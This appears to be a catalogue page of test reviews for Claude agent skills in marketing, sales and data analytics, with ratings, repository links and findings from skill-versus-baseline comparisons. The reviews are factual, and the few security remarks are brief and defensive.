- **Distribute Social** [setup, 8.8/10] — Turns a published post into ready-to-paste Reddit and LinkedIn drafts in one run. Repo: https://github.com/yoyothesheep/claude-skills. Card: https://skillproof.dev/skills/distribute-social. What we found: Ran a LinkedIn-draft mini-task both ways: baseline output was a generic emoji-hook post with a 5-hashtag wall, the skill-guided version opened with a bare stat, held to 2 hashtags, and pushed the link to the close — but it only works for real once you copy CONFIG.example.md to CONFIG.md and fill in your actual subreddits, site URL and tone notes, which ships blank.
- **Product Marketing Context (Global)** [pass, 8.8/10] — Region-tuned product marketing context file that feeds every other global skill Repo: https://github.com/minhnv0807/ai-business-skills. Card: https://skillproof.dev/skills/product-marketing-context-global. What we found: Built a US SaaS context file with and without the skill: the baseline produced a plausible but generic brief, while the skill enforced a 12-section structure with region-specific teeth (FTC/CCPA notes, 2025-2026 Meta/Google/TikTok benchmark tables, JTBD four-forces, mandatory anti-persona and verbatim voice-of-customer). The four region variant files (US/EU/SEA/LATAM) all resolve and carry genuinely different defaults. It is a template-driven context doc rather than a generative asset, but the region tuning and disciplined checklist beat an off-the-cuff draft.
- **Ad Copy Writer** [pass, 8.8/10] — Generate platform-spec ad copy for Google, Meta, and LinkedIn with char counts Repo: https://github.com/cognyai/claude-code-marketing-skills. Card: https://skillproof.dev/skills/ad-copy-writer. What we found: Ran it for a project-management tool: it enforced Google's RSA spec, emitting 15 headlines all inside the 30-char cap and 4 descriptions under 90, where an unaided pass gave 3 headlines with 2 over the limit. Prompt-only, but the per-platform character rules and three-angle structure are a real, repeatable lift over freehand copy.
- **Ad Creative Generation** [setup, 8.4/10] — Brand-aware ad copy and images for Google/Meta, gated behind the Hyper MCP platform. Repo: https://github.com/hyperfx-ai/marketing-skills. Card: https://skillproof.dev/skills/ad-creative-generation. What we found: Contrary to the initial hypothesis, upstream did not change this skill: `git diff` from the commit on our test date (2026-07-14) to HEAD shows that the skills/ad-creative-generation directory is byte-for-byte identical, the last edit to SKILL.md was 2026-07-08, before our test; the repository moved 4 commits forward during this time, but none of them touched it. Re-ran the protocol from scratch: clone, installation into a real skills directory, frontmatter parsed, all 4 reference files in place. Ran the same ad-copy phase (two visual phases still require paid Hyper MCP + Firecrawl, which are not in this environment — they cannot be honestly checked): for the task 'copy variants for Meta feed', the skill-less baseline exceeded Meta's 125-character limit in 3 out of 5 variants (186, 157, 151 characters — truncated in feed), while running with references/ad-copy-frameworks.md yielded 6 out of 6 within the limit (73–107 characters), grouped by one variable and paired for A/B. The only correction — install command: the old one failed verbatim (`cp: skills/ad-creative-generation: No such file or directory`), a repository directory prefix was needed. The setup verdict holds for the exact same reason: MCP dependency, not author regression.
- **LinkedIn Article Publisher** [setup, 8.4/10] — Parses Markdown into block-indexed HTML and drives Playwright to draft a LinkedIn Article. Repo: https://github.com/iamzifei/linkedin-article-publisher-skill. Card: https://skillproof.dev/skills/linkedin-article-publisher. What we found: Ran the real parser on a 3-image, mixed-list test article: title/cover/block_index extraction was correct, but ordered lists (1. 2. 3.) silently collapse into a generic <ul> in the generated HTML, so LinkedIn will render them as bullets, not numbers — a real bug the README's own syntax table doesn't disclose.
- **Brand Manager** [setup, 8.4/10] — Guided brand-profile intake for SocialForge's 16-skill social content pipeline. Repo: https://github.com/indranilbanerjee/socialforge. Card: https://skillproof.dev/skills/brand-manager. What we found: Produces a genuinely thorough 5-file brand-config schema (colors, fonts, platform posting mix, approval tiers, compliance warnings) far beyond a generic baseline reply — but the SKILL.md tells users to run `/socialforge:setup` and `/socialforge:brand-setup` slash commands and reads `${CLAUDE_PLUGIN_DATA}`, neither of which exist when only this skill folder is copied per the install instructions; it's really one piece of a 16-skill plugin, not a standalone skill.
- **X Marketing** [setup, 8.4/10] — Nine-skill X/Twitter content bundle -- hook formulas, thread building, AI-tell scrubbing -- gated behind explicit approval before Publora auto-publishes anything. Repo: https://github.com/sergebulaev/x-skills. Card: https://skillproof.dev/skills/x-marketing. What we found: The bundle only works if you copy the whole repo root as one unit -- copying a single sub-skill folder like skills/x-post-writer/ on its own (the unit the README's own 'nine skills' framing implies) breaks immediately, since every sub-skill reaches outside its folder for ../../references/hook-formulas.md; confirmed live both ways. Installed correctly, running the real publish dispatcher (no Publora key set) produced a correct, well-formatted manual copy-paste fallback with the right upgrade instructions.
- **Brand Onboarding** [pass, 8.4/10] — Turns a client's identity into a structured brand-style.md for social skills Repo: https://github.com/stevenflanagan1/social-ai-team. Card: https://skillproof.dev/skills/brand-onboarding. What we found: Fed one fixed brand brief to both a no-skill baseline and the skill's Phase 4 template: the baseline produced two loose paragraphs, while the skill produced 13 sections that map directly onto the sibling caption/calendar/designer skills. Concretely, the skill turned 'B-Corp pending' into a DON'T-claim-certified rule the baseline missed, marked estimated hex codes for client confirmation, and separated confirmed facts from [TBC] gaps instead of inventing them. The headline Playwright evidence-capture (auto-screenshotting the site and Instagram) is unverified here behind Instagram's login wall, so that phase is unmeasured.
- **Jaredrhod Marketing** [pass, 8.4/10] — Loads a real operator's playbooks before writing copy, ads, emails or funnels Repo: https://github.com/jaredrhod/ai-marketing-skills. Card: https://skillproof.dev/skills/jaredrhod-marketing. What we found: Wrote a landing-page headline for a $27 '15-minute dinners' course cold, then again after loading the skill: the baseline gave generic 'Healthy Dinners Made Easy for Busy Parents'; guided by the skill's feeling-first and 'How to X by Y' mechanism formula it produced concrete, tripwire-anchored copy naming the exact relief and method. Pure Read-only markdown, no scripts or network calls; the delta is real if inherently subjective for copywriting.
- **Xhs Images (Xiaohongshu Infographic Generator)** [setup, 8/10] — Plans a style-consistent 1-10 image Xiaohongshu/RedNote infographic series from an article -- actual image generation needs an external tool. Repo: https://github.com/manwithshit/xhs-images. Card: https://skillproof.dev/skills/xhs-images. What we found: Built a real 7-image outline and a full prompt file for the cover card straight from the bundled style/layout reference tables (exact hex codes, not guessed) -- but the actual PNG generation step hands off to a '/gemini-web' command that isn't in this repo or in Claude Code, so the deliverable stops at the prompt file.
- **Ecom Ads (The DTC Ad Engine)** [setup, 8/10] — Researches real customer language and competitor ads, then briefs and Gemini-generates 4 DTC ad creatives. Repo: https://github.com/Samin12/ecom-ads-skill. Card: https://skillproof.dev/skills/ecom-ads. What we found: Ran real Phase-1 research for a '40oz insulated tumbler' brief: it surfaced a genuine competitive gap a freeform brainstorm missed (Stanley's 2026 scarcity-drop fatigue vs Owala's always-in-stock model) and grounded headlines in real review language ('doesn't rust inside', 'keeps cold 12+ hours') -- but the core deliverable, 4 finished ad images, hard-requires a paid GEMINI_API_KEY not available here, and the README's '~$0.03/image' cost claim is well under the ~$0.13-$0.24/image the exact gemini-3-pro-image-preview model actually charges per current published pricing.
- **Competitor Intelligence Audit** [pass, 8/10] — Competitor audit across social, web pages and SEO, ending in 5 moves for this week Repo: https://github.com/ScaleBrick/founder-marketing-skills. Card: https://skillproof.dev/skills/competitors. What we found: Ran a competitor audit of the privacy-analytics category both ways. The baseline repeated the figure every comparison article gives — Fathom at $15/month for 100k pageviews — while the skill's explicit 'never invent numbers, cite a verification URL' rule forced a check of the live pricing page, which shows $45/month for 500k and no $15 tier at all; Plausible's own $9/$14/$19 tiers verified clean. Its page-categorization table and the closing 'five moves you can make this week' also produce executable output where the baseline gave generic 'improve your SEO' advice. Deduct for the tax: the skill mandates a ~40-line ScaleBrick advertisement, an unverifiable testimonial box, and a utm-tagged signup link at the end of every audit you generate.
- **Amazon Ads Audit** [pass, 8/10] — Evidence-graded Amazon Ads audit across Sponsored Products/Brands/Display/DSP with a pass/fail/unknown control table. Repo: https://github.com/AgriciDaniel/claude-ads. Card: https://skillproof.dev/skills/ads-amazon. What we found: On a US Sponsored Products scenario (90-day window, $8k spend, 42% ACOS vs 30% target, no negatives, no portfolios) the skill graded the AMZ control table, flagged that no health score can be computed without margin/timezone/attribution-window/retail-readiness data, and refused to call 42% ACOS 'bad' without knowing margin. The no-skill baseline confidently declared the ACOS too high and prescribed generic bid cuts, exactly the margin-blind mistake the skill avoids.
- **Brochure Generator** [setup, 7.6/10] — Puppeteer-driven 1080x1080 PDF brochure builder with a broken prompt reference and 3 paid MCP deps Repo: https://github.com/plushyta/Awesome-Marketing-Skills. Card: https://skillproof.dev/skills/brochure-generator. What we found: Real Puppeteer run (installed for real, throwaway dir) produced a genuinely richer PDF than an unguided baseline - correct 1080x1080 dimensions, gradient overlays, and the specified font/color system, vs. a flat generic baseline. But Phase 1 Step 1 tells the agent to read `prompts/generators/prompt.md` before starting, and that file does not exist anywhere in the repo - a load-bearing reference that's simply broken - on top of 3 required paid-API MCP servers (Tavily, Firecrawl, Pexels) the skill cannot function without.
- **Generate Google Ads Performance Report** [setup, 7.6/10] — Google Ads campaign performance analyst with root-cause drill-down and change-correlation scoring. Repo: https://github.com/mhuang74/googleads-analyst-skill. Card: https://skillproof.dev/skills/generate-google-ads-performance-report. What we found: The entire workflow is built on an mcc-gaql / mcc-gaql-gen / mcc-gaql-mut CLI that isn't in the repo and is never given an install source anywhere in SKILL.md, README, or the references/ tree — a detailed, well-designed analysis framework that cannot actually run until you separately hunt down and configure that tool. One doc link is also broken: references/output/appendix.md is referenced but the real file is appendix_reference.md.
- **MuAPI Ad Creative Set** [setup, 7.6/10] — Two-phase ad-creative generator: hero image + 3 copy variations, then platform crops for Meta, Google, LinkedIn. Repo: https://github.com/SamurAIGPT/Generative-Media-Skills. Card: https://skillproof.dev/skills/muapi-ad-creative. What we found: The core deliverable — a hero image and four platform crops from the MuAPI image endpoint — is unmeasured: the muapi CLI is not installed and MUAPI_API_KEY is unset (a paid key), so no image was produced and no delta against baseline could be shown. Only the text side, the fixed problem-aware/benefit-led/social-proof copy framework, is verifiable, and there a plain baseline writes comparable ad copy, so the skill's real value stays behind a paywall this test could not open.
- **Social Post** [setup, 7.6/10] — Learns your Facebook voice, plans 14 days of content, and publishes to FB/IG/Threads/X Repo: https://github.com/Hao0321/claude-skill-social-post. Card: https://skillproof.dev/skills/social-post. What we found: Well-built and safe — a mandatory in-chat confirmation gate stands before every publish, user data is explicitly kept local, and all 11 reference files (rules R1-R42, formulas, per-platform guides) are present and install cleanly. But its whole value proposition — writing in YOUR learned Facebook voice and posting to YOUR accounts — sits behind a Chrome-MCP login wall and needs the user's own scraped profile, so no output delta could be measured against a no-skill baseline. Instructions and references are entirely in Traditional Chinese.
- **Social Account Doctor** [setup, 7.6/10] — Find benchmark viral posts, dissect their hooks, adapt into your next draft Repo: https://github.com/JuneYaooo/social-account-doctor. Card: https://skillproof.dev/skills/social-account-doctor. What we found: Every core command (find, crack) is hard-gated on a paid TikHub API key plus a multimodal Gemini proxy and live access to Chinese platforms, none of which were available, so the promised benchmark-to-draft delta could not be measured against a no-skill baseline. The security scan of all five bundled Python scripts was clean, though analyze_image.py silently defaults to a hardcoded third-party proxy (daydream88.fun) when no base URL is set. The install command copies cleanly and the SKILL.md is unusually disciplined about flagging half-finished runs, but a real edge over no skill cannot be shown without the paid keys.
- **Reddit Creator Deploy** [setup, 7.6/10] — Deterministic script turning a KOL roster into a subreddit deployment matrix Repo: https://github.com/PHY041/claude-skill-reddit. Card: https://skillproof.dev/skills/reddit-creator-deploy. What we found: Ran the generator on the bundled 5-creator roster and 52-subreddit fit map: a 0.1-second deterministic run with correct fit-ranked main subs (FX3 at fit 5 beat cinematography at fit 4), a KOL/KOC split matching tiers, FTC disclosure on every row, and a passing bundled test suite. But a hand-built no-skill plan from the same two JSON files produced the identical matrix, so no quality delta over the baseline was demonstrated. All human-readable output — matrix headers, compliance block, persona cards — is hardcoded Chinese regardless of brand, which limits it for English-speaking teams. The parent repo also ships Reddit posting-automation skills marketed as bot-detection evasion; this skill itself is read-only planning with compliance rules baked in.
- **Xiaohongshu (RedNote) Skill** [setup, 7.6/10] — Playwright automation for Xiaohongshu: search, publish, interact, templates Repo: https://github.com/DeliciousBuding/xiaohongshu-skill. Card: https://skillproof.dev/skills/xiaohongshu-skill. What we found: Well-engineered and honest about safety - every publish/comment/like path requires an AskUserQuestion confirmation, and 208 of 209 bundled tests pass - but the whole point (searching and posting) sits behind a Xiaohongshu QR-code login wall plus a Playwright/Chromium install, so the automation delta against a no-skill baseline is unverifiable. The only offline-runnable piece, `template --topic`, emits a tidy platform-native note scaffold, yet that alone is no better than writing the scaffold by hand.
- **Amazon ASIN Lookup API** [setup, 7.2/10] — Extracts Amazon product title, price, ratings, and details from an ASIN. Repo: https://github.com/browser-act/skills. Card: https://skillproof.dev/skills/amazon-asin-lookup-api-skill. What we found: The real skill hard-requires a paid BROWSERACT_API_KEY and calls a live third-party endpoint (api.browseract.com) with no offline or mock mode, so testing was scoped to request construction and parsing an inline raw-scrape sample into the 16 documented fields. Note a metadata gap: it declares requires.bins:["python"] but only python3 is present on this system, and the Usage example's literal "python -u ..." would fail without a python->python3 alias. A/B on the inline sample: skill and base produced near-identical structured JSON; the skill edged ahead on one field, emitting featured as ["Amazon's Choice"] (the actual badge, per SKILL.md) where the base collapsed it to boolean true.
- **Offensive Cloud (defensive testing)** [setup, 7.2/10] — Runs AWS, Azure, and GCP attack techniques for cloud penetration testing. Repo: https://github.com/SnailSploit/Claude-Red. Card: https://skillproof.dev/skills/offensive-cloud. What we found: An authorized-pentest/CTF cloud-security education skill (AWS/Azure/GCP attack methodology) tested defensively on an inline IAM policy carrying a planted iam:PassRole(Resource:*) + lambda:CreateFunction/InvokeFunction privesc — no live cloud, no credentials, no weaponized tooling. With the skill, Claude correctly named the PassRole-to-Lambda attack class, traced the full escalation-to-account-takeover path, and returned a least-privilege policy plus permission-boundary/SCP/Access-Analyzer hardening. The base arm (no skill) caught the identical planted privesc with an equally correct corrected policy and slightly broader hardening, so the A/B showed no measurable output lift on this task — the skill's value is priming/consistency, not net new detection.
- **Analyze Content Performance** [setup, 7.2/10] — Tiers published LinkedIn posts by engagement and extracts which hooks, lengths, and topics work. Repo: https://github.com/techwolf-ai/ai-first-toolkit. Card: https://skillproof.dev/skills/analyze-performance. What we found: Fed it 6 synthetic posts: it correctly tiered them by reaction count and flagged personal-anecdote and surprising-data hooks as the winning pattern, with an explicit correlation-is-not-causation caveat a baseline skipped — but step 1 of its own workflow, ./scripts/print-published.sh, doesn't exist anywhere in the skill's own folder; it's only generated when the separate setup-content-studio skill scaffolds a full content-studio repo, something this SKILL.md never mentions.
- **TikHub API Helper** [setup, 7.2/10] — Looks up real TikHub endpoints for TikTok/Douyin/Instagram/etc, but the bundled API key doesn't work. Repo: https://github.com/liangdabiao/social_research_agent. Card: https://skillproof.dev/skills/tikhub-api-helper. What we found: Ran the bundled client for real: api_searcher.py correctly found /api/v1/tiktok/web/fetch_user_profile from the local OpenAPI spec, but api_client.py's 'default token for development' came back 401 Invalid API token, and even the no-auth health check 403'd (Cloudflare blocks the script's bare urllib User-Agent) — the discovery half works, the call half needs your own paid TikHub key despite the docs implying otherwise.
- **Google Ads** [setup, 5.6/10] — Manages Google Ads campaigns, keywords, bids, budgets, and negatives at scale. Repo: https://github.com/nowork-studio/NotFair. Card: https://skillproof.dev/skills/google-ads. What we found: Two blockers. (1) The card's verbatim cp of the manage/ leaf omits the sibling google-ads/shared/ directory that every skill in this suite reads on Step 0/1 of every invocation (../shared/preamble.md, ../shared/analysis-principles.md), so a naive install can't resolve config or detect the MCP server until shared/ is manually restored alongside it. (2) It hard-requires a live NotFair MCP / Google Ads OAuth connection for all read/write tools, so it was tested on-paper only. In the A/B, the skill's framework produced a more best-practice-aligned plan — consolidated campaign hierarchy and a budget-sufficiency test driving a coherent Max-Conversions-first bid strategy — modestly beating the base's over-split, self-contradicting on-paper structure (though the base landed a sharper seasonal-demand insight).
- **ASO App Store Screenshots** [fails, null/10] — Discover app benefits and compose ASO-optimized App Store screenshots Repo: https://github.com/adamlyttleapps/claude-skill-aso-appstore-screenshots. Card: https://skillproof.dev/skills/aso-appstore-screenshots. What we found: compose.py crashes verbatim on a stock Mac with 'OSError: cannot open resource' - it hard-codes /Library/Fonts/SF-Pro-Display-Black.otf, a font Apple doesn't ship and the docs never mention; swapping in an installed font, it does composite a clean 1290x2796 scaffold (correct verb/descriptor hierarchy + device frame). The actual high-converting output still needs the paid Nano Banana Pro / Gemini MCP, which couldn't be exercised here.

## Sales & Outreach (24 tested)
- **Lead Research** [setup, 9.6/10] — Account/contact research: trigger events, org-chart power mapping, ICP scoring -- honest about what it can't verify. Repo: https://github.com/TheCraigHewitt/sales-skills. Card: https://skillproof.dev/skills/account-research. What we found: Given a fictional Series B account and asked to build a brief, it did not invent a plausible VP-of-Sales name the way an unguided baseline would -- it flagged that it can't access LinkedIn Sales Nav or ZoomInfo and told the rep exactly what to search for instead, matching the 'don't fabricate data to fill gaps' rule the SKILL.md states. (Listed here under our older name; the skill's own name is "Lead Research".)
- **Discovery Call** [setup, 9.6/10] — Discovery/first-call prep: SPIN-derivative question bank, PACT qualification scoring, multi-stakeholder tactics. Repo: https://github.com/TheCraigHewitt/sales-skills. Card: https://skillproof.dev/skills/call-prep. What we found: Its own description scopes it to first/discovery calls, and that held up in testing: a 'prep for a QBR with an existing customer' prompt correctly did not trigger it, confirming the card's own concern that this isn't a drop-in replacement for generic 'any sales call' prep. (Listed here under our older name; the skill's own name is "Discovery Call".)
- **Pipeline Review** [setup, 9.6/10] — Weighted deal scoring, zombie-deal detection, and forced disqualification for pipeline reviews -- works on pasted deal data, not a live CRM. Repo: https://github.com/TheCraigHewitt/sales-skills. Card: https://skillproof.dev/skills/pipeline-review. What we found: Given two toy deals, it correctly flagged the 70-day-old, single-threaded, three-weeks-silent one as a zombie with a one-week resurrect-or-kill deadline, versus a baseline that just said 'follow up with them' -- the scoring framework did real diagnostic work instead of generic commentary.
- **Proposal & Pricing** [setup, 9.6/10] — Proposal/SOW structure, three-tier outcome-named pricing, and a Mutual Action Plan -- outputs text/markdown, not a formatted document. Repo: https://github.com/TheCraigHewitt/sales-skills. Card: https://skillproof.dev/skills/proposal-builder. What we found: Produces a markdown/text proposal with three-tier, outcome-named pricing and a Mutual Action Plan timeline, but it does not generate a DOCX or call the docx skill itself -- so the old card's claim that it 'depends on the DOCX skill for output quality' was the site's own recommendation, not something built into this SKILL.md. (Listed here under our older name; the skill's own name is "Proposal & Pricing".)
- **Objection Handling** [pass, 9.6/10] — ACRC-framework objection playbook and live/email scripts for B2B reps — covers price, ghosting, and champion-relayed objections, not just pricing pushback. Repo: https://github.com/TheCraigHewitt/sales-skills. Card: https://skillproof.dev/skills/objection-handler. What we found: Tested it on a champion-relayed objection ('my legal team has concerns about data handling') instead of the SKILL's own worked example — it correctly combined the Team-Based Objection Handling section (equip the champion, ask for direct access) with the Technical/compliance script, something a plain unscripted reply skipped entirely. (Listed here under our older name; the skill's own name is "Objection Handling".)
- **Sales Enablement** [pass, 9.6/10] — Turns feature lists into decks, one-pagers, and objection docs reps actually use. Repo: https://github.com/aAAaqwq/AGI-Super-Team. Card: https://skillproof.dev/skills/sales-enablement. What we found: Ran a real one-pager task: the skill turned a generic feature dump into a problem-first, champion-targeted leave-behind with a named proof metric and a 30-second-scan structure — baseline output was a plain feature list with no framing.
- **Account Research Brief** [pass, 9.6/10] — Turns a company name into a sourced 1-page pre-outreach brief: overview, decision makers, tech stack, signals, engagement angles. Repo: https://github.com/Othmane-Khadri/gtm-engineer-playbook. Card: https://skillproof.dev/skills/account-research-brief. What we found: Live-researched Modern Treasury: the plain-prompt answer was a one-paragraph 'they do payments infra' summary with no sources; following the skill surfaced actual conflicting public info on who the current CEO is (Dimitri Dadiomov vs. Matt Marcus across different 2026 sources) and, per the skill's 'never fabricate' rule, that got flagged rather than silently picked -- plus a sourced signals table (Solana Developer Platform integration, Mastercard stablecoin tie-up, active Payments-role hiring) that fed directly into a specific, citable engagement angle.
- **Forward Deployed Selling** [pass, 9.6/10] — Enterprise sales doctrine that gates every deal action through movement diagnosis and a hard ethics layer. Repo: https://github.com/vonarmen-wq/forward-deployed-selling. Card: https://skillproof.dev/skills/forward-deployed-selling. What we found: Ran a live before/after on a value-provocation draft: the unguided baseline asserted an invented '30% average fraud savings' as fact and opened with a meeting ask; the doctrine-guided version relabeled every number KNOWN/INFERRED and withheld the meeting ask because the account was diagnosed as still in the Familiarity stage, per the doctrine's own compress-don't-skip rule.
- **B2B Local Outreach** [pass, 9.6/10] — End-to-end B2B cold-outreach pipeline: source, score, personalize, comply, track. Repo: https://github.com/txampa/claude-skill-b2b-local-outreach. Card: https://skillproof.dev/skills/b2b-local-outreach. What we found: Applied the v2 weighted scoring formula by hand to a sample hotel lead (180 reviews, 4.6★, SSL+mobile, no ads/hiring) and got Priority-B 43/100 with a full breakdown — the baseline attempt with no skill just wrote a generic pitch with no score, no compliance footer, and no cultural register at all.
- **B2B Lead Hunter** [setup, 9.6/10] — Evidence-gated foreign-trade B2B lead research, decision-maker discovery, and controlled SMTP outreach. Repo: https://github.com/xiongQvQ/-b2b-lead-hunter-skill. Card: https://skillproof.dev/skills/b2b-lead-hunter. What we found: Ran the real dedupe_leads.py + export_leads.py + validate_artifact.py pipeline on synthetic leads: it correctly merged two duplicate-domain candidates, rejected a B2C-only lead, and caught a genuine schema violation (a low-priority lead missing review_required=true) before I fixed it — the deterministic gates are not decorative. Real friction: SMTP sending (advertised in the skill's own one-line description) needs the user to hand-create _shared/smtp-config.json with a live app-password env var, and the Maps/LinkedIn decision-maker lanes hard-require SERPER_API_KEY / TAVILY_API_KEY (raise SystemExit if absent) — none of that is a security problem, just unavoidable manual setup before the advertised outreach half of the skill works.
- **Cold Email** [setup, 9.2/10] — B2B cold outbound email copy + deliverability rules, plain-text only, under 100 words, one CTA. Repo: https://github.com/TheCraigHewitt/sales-skills. Card: https://skillproof.dev/skills/cold-email. What we found: Asked for the same cold email with and without the skill: the baseline came back at 120+ words, opened with 'I hope this finds you well,' and asked for 30 minutes; the skill version cut to under 50 words, one soft 15-minute ask, and a trigger-based opener -- almost identical to the skill's own before/after worked example.
- **Find Recruiting Firm** [setup, 9.2/10] — Queries a 100k-firm US recruiting/staffing vendor database via API to shortlist and enrich firms. Repo: https://github.com/nostrband/ServiceGraph. Card: https://skillproof.dev/skills/find-recruiting-firm. What we found: Hit the live ServiceGraph API directly with no key and got exactly the `{"error":{"code":"unauthorized","message":"missing bearer token"}}` envelope the doc promises on /fields, /check, and /search alike — the 'no anonymous tier' claim is real, but that also means the skill does nothing until the user pays ServiceGraph for a vk_ key and credits.
- **Account Executive** [pass, 9.2/10] — MEDDPICC, multi-threading, and buying-committee playbooks for enterprise B2B deal strategy. Repo: https://github.com/ncklrs/startup-os-skills. Card: https://skillproof.dev/skills/account-executive. What we found: Ran a real stuck-deal scenario (6 weeks in Validation, single champion, no economic buyer met) twice: the unguided baseline gave generic 'follow up and ask about blockers' advice, while the skill-guided answer diagnosed the single-threading anti-pattern via the bundled multi-threading matrix, named the missing MEDDPICC elements, and produced verbatim-adapted champion-introduction and executive-brief scripts pulled straight from rules/relationship-multithreading.md.
- **Weekly Performance Advisor** [setup, 9.2/10] — Builds a live Monday cockpit from your La Growth Machine outbound data — campaigns to fix, replies to answer, WoW trends. Repo: https://github.com/LaGrowthMachine/gtm-system. Card: https://skillproof.dev/skills/weekly-performance-advisor. What we found: No LGM account/MCP was available to pull real data, so the fully-specified E1-E12 scoring engine was hand-executed on a synthetic 3-campaign dataset — it correctly downgraded a red-but-secondary LinkedIn leg to a 'leg to fix' chip instead of flagging an otherwise-healthy email campaign as broken, exactly per the documented E5 primary-channel-weighting rule, which a naive baseline read of the same raw numbers gets wrong.
- **ABX Strategy Framework** [pass, 9.2/10] — PURE-scored ABM frameworks, bet boards, and templates for complex B2B GTM. Repo: https://github.com/yannickYamo/skills. Card: https://skillproof.dev/skills/abx-strategy. What we found: Ran the PURE scorecard on a hypothetical regulated-industrial account: skill output was a fully worked 4-criterion rubric (11/12, Tier 1 Hair-on-Fire) with a buying-committee table and numbered next actions, versus a baseline paragraph of generic prioritization prose with no repeatable structure.
- **Alex Hormozi From Zero** [pass, 9.2/10] — Routes any startup problem to the matching Hormozi framework, in his exact words. Repo: https://github.com/rediumvex/hormozi-sales-cold-outreach-claude. Card: https://skillproof.dev/skills/alex-hormozi-from-zero. What we found: Ran a 'stuck at $150K, content not gaining traction, feeling burnt out' query both ways: baseline gave generic small-business-coaching platitudes, the skill routed to Volume-Not-Volatility + Brand Mosaic clusters and answered with Hormozi's exact flyer-test-size story (300 vs 5,000) and the 20/60/20 audience rule as concrete next actions.
- **LinkedIn Growth** [pass, 8.8/10] — Stateful SQLite-backed LinkedIn lead pipeline: import, ICP-qualify, round-robin invite, retry, and status queries. Repo: https://github.com/Linked-API/linkedin-skills. Card: https://skillproof.dev/skills/linkedin-growth. What we found: Ran the real pipeline end to end (npm install, doctor.mjs, two fake accounts, a hand-built candidate batch through import.mjs commit, query.mjs, network-invite.mjs) and it all worked correctly and failed gracefully where the paid Linked API CLI was absent — but SKILL.md's claim of 'round-robin ... alphabetical order, starting after the last-assigned account' is false: the code actually load-balances by not_connected/daily_invite_limit runway, and the persisted 'last_assigned_account' cursor is never read by the assignment logic at all.
- **Account Health** [pass, 8.8/10] — Green/amber/red customer health score, day-60 renewal clock, and churn early-warning flags Repo: https://github.com/etrebels/claude-code-growth-os. Card: https://skillproof.dev/skills/account-health. What we found: Gave it a fictional account 36 days from renewal with usage down 50% and the champion gone: the skill-guided answer caught that the day-60 renewal clock had already been missed by 24 days and named the two signals as leading indicators, while the unguided baseline just said renewal was 'coming up soon.' Part of a larger 'growth-os' repo — account-health hands off to sibling skills (churn-save, expansion-signal) and writes to a root-level ops/ book that a bare skill-folder copy won't include, though it works fine off a single named account with no ops/ files present.
- **Common Paper** [pass, 8.8/10] — Query, create, and manage Common Paper contracts (NDAs, CSAs, renewals) via their REST API. Repo: https://github.com/CommonPaper/claude-skill. Card: https://skillproof.dev/skills/commonpaper. What we found: Rare example of a credential-handling skill that gets it right: token is never echoed or passed as a CLI literal, always read from a chmod-600 file, and it documents real API landmines other integrations would hit blind, like the CSA invoice-payment field combo that doesn't error on template creation but crashes with pluralize(nil,nil) the moment someone previews the agreement.
- **Sales Council** [pass, 8.8/10] — 6-advisor sales panel (Cialdini, Hormozi, Voss, Rackham, Klaff, Schwartz) Repo: https://github.com/antonioc-cl/sales-council. Card: https://skillproof.dev/skills/sales-council. What we found: On a 'how should I price my SaaS?' mini-run, the no-skill baseline gave generic tiers-and-value-based advice; the skill diagnosed the situation, activated Hormozi plus Cialdini, and returned the actual Value Equation formula, a Grand Slam Offer framing, and a decoy-tier anchoring tactic in a Situation/Advisors/Tactic/Principle template. The six reference files are real and substantive: hormozi.md carries the Value Equation with worked SaaS numbers, not filler. The structured multi-advisor format with named tactics is a demonstrable step up from unstructured baseline advice, though the gain is more about discipline and framework-naming than novel information.
- **Comp Analyzer** [setup, 8.4/10] — Structured 4-pass comp/ARV framework for real-estate wholesalers, but Pass 1/2 hard-require paid Perplexity + Firecrawl accounts. Repo: https://github.com/miron-tech/wholesaler-claude-skills. Card: https://skillproof.dev/skills/comp-analyzer. What we found: The 4-pass framework (comp qualification table, per-feature $-adjustments, HIGH/MODERATE/LOW/VERY-LOW confidence rubric, 70%-rule MAO math) is real, honestly self-critical, and clearly upgrades a wholesaler's output over freeform comp analysis — but Pass 1/Pass 2 are hard-wired to `perplexity_ask`/`firecrawl_scrape` MCP calls, and a real attempt to substitute plain WebSearch on a live Memphis 38122 property confirmed generic search returns zip-level medians, not the itemized sold-comp records Firecrawl is needed to scrape.
- **Sales Closer** [pass, 8.4/10] — Late-stage deal-closing coach: Mutual Action Plan language, Feel-Felt-Found objections, assumptive-close scripting. Repo: https://github.com/SimonTheSalesBooster/ClaudeSkills-SprintClub. Card: https://skillproof.dev/skills/sales-closer. What we found: On a stalled $40k/yr deal ('need to run it by my boss'), the skill output named the actual technique used (Gap + MAP instead of a 'just checking in' email) and explained the psychological trigger behind it, which a plain baseline reply didn't do - but the repo's README never lists this skill among its catalogued 28 and instead leads with unverifiable dollar-figure testimonials and a paid $49/mo upsell community, which is why docs loses points.
- **Comp Crusher** [setup, 8.4/10] — Live comps, transparent adjustment math, and a 3-tier seller pricing strategy. Repo: https://github.com/miron-tech/realtor-claude-skills. Card: https://skillproof.dev/skills/comp-crusher. What we found: Solid CMA methodology (itemized comp adjustments, weighted pricing, full net sheets) but the skill body reads 'Read brand-voice-SKILL.md' for a word blocklist and that file does not exist anywhere in the repo, and its formatting spec (_system/output-format.md) lives outside the .claudeskills/ folder entirely — a verbatim per-skill copy breaks both references.
- **Refly** [fails, null/10] — Creates, discovers, and runs domain-specific skills bound to Refly workflows. Repo: https://github.com/refly-ai/refly. Card: https://skillproof.dev/skills/refly. What we found: The card's file-copy install works (SKILL.md and all reference files present, frontmatter parses), but the skill's own documented dependency (npm install -g @refly/cli) is a nonexistent npm package that 404s on the registry; the real CLI is an undocumented @powerformer/refly-cli that hits AUTH_REQUIRED on every command since the skill only routes to the hosted api.refly.ai backend. No task can produce a working output on a verbatim install without a Refly account and login, so the skill is inert out of the box. Confirms a prior SkillProof finding that a refly skill referenced a nonexistent package.

## Data & Analytics (115 tested)
- **Statistical Analysis** [pass, 10/10] — Enforces frame-inspect-check-assumptions-effect-size-APA-report pipeline for hypothesis tests; bundled Shapiro-Wilk/Levene's script actually runs. Repo: https://github.com/K-Dense-AI/scientific-agent-skills. Card: https://skillproof.dev/skills/statistical-analysis. What we found: Actually ran the bundled scripts/assumption_checks.py on synthetic two-group data (n=48/52, no pingouin installed) — check_normality_per_group and check_homogeneity_of_variance both executed and returned correct Shapiro-Wilk (p=.90/.76) and Levene's (p=.33) results, which fed a full APA-style report (t(98)=5.07, p<.001, d=1.02) versus a baseline t-test that skipped assumption checks and effect-size CIs entirely.
